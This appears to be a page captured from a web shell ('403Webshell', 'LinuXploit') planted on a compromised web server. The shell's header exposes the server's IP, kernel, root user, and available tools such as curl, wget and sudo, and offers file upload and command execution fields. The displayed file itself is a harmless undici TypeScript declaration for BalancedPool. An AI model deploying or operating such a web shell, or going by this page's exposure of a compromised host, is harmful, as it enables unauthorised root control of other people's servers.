403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/undici/types/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/undici/types/balanced-pool.d.ts
import Pool from './pool'
import Dispatcher from './dispatcher'
import { URL } from 'node:url'

export default BalancedPool

type BalancedPoolConnectOptions = Omit<Dispatcher.ConnectOptions, 'origin'>

declare class BalancedPool extends Dispatcher {
  constructor (url: string | string[] | URL | URL[], options?: Pool.Options)

  addUpstream (upstream: string | URL): BalancedPool
  removeUpstream (upstream: string | URL): BalancedPool
  getUpstream (upstream: string | URL): Pool | undefined
  upstreams: Array<string>

  /** `true` after `pool.close()` has been called. */
  closed: boolean
  /** `true` after `pool.destroyed()` has been called or `pool.close()` has been called and the pool shutdown has completed. */
  destroyed: boolean

  // Override dispatcher APIs.
  override connect (
    options: BalancedPoolConnectOptions
  ): Promise<Dispatcher.ConnectData>
  override connect (
    options: BalancedPoolConnectOptions,
    callback: (err: Error | null, data: Dispatcher.ConnectData) => void
  ): void
}

Youez - 2016 - github.com/yon3zu
LinuXploit